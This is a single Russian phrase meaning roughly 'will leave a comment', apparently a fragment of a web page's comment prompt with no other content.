Оставит комментарий